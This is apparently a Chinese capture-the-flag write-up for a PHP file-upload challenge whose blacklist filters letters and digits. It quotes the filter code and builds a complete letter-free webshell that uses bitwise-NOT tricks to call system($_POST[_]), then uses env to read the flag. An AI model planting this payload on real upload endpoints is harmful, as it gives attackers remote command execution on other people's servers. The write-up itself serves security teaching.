解题过程
打开题目环境,有文件上传功能,提示我们getshell
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
分析一下:
上传文件,然后截取内容,从第六位开始的内容都会赋给data,然后会有一个黑名单一样的东西,如果data中存在黑名单字符,就会die。
一般的思路是上传木马,然后蚁剑连接或者直接执行命令,但是fuzz之后,数字及英文字母都被过滤了,这就需要使用特殊的木马构造方式,推荐p神的文章:一些不包含数字和字母的webshell
其中提到了三种构造方式,本题的话,比较适合第二种取反
引用下p神的博客内容
没有过滤的字符有$ ( ) [ ] _ ~ ;
<?php
$_=[]; //
$__=$_.$_; //arrayarray
$_=($_==$__);//$_=(array==arrayarray)明显不相同 false 0
$__=($_==$_);//$__=(array==array) 相同返回1
$___ = ~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system
$____ = ~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST
$____($$__[_]);//也就是system($_POST[_])
因为php是可见字符,所以使用<?=
代替<?php
payload
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
环境有点问题,flag不在这里,但是可以使用env来得到flag
env命令用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。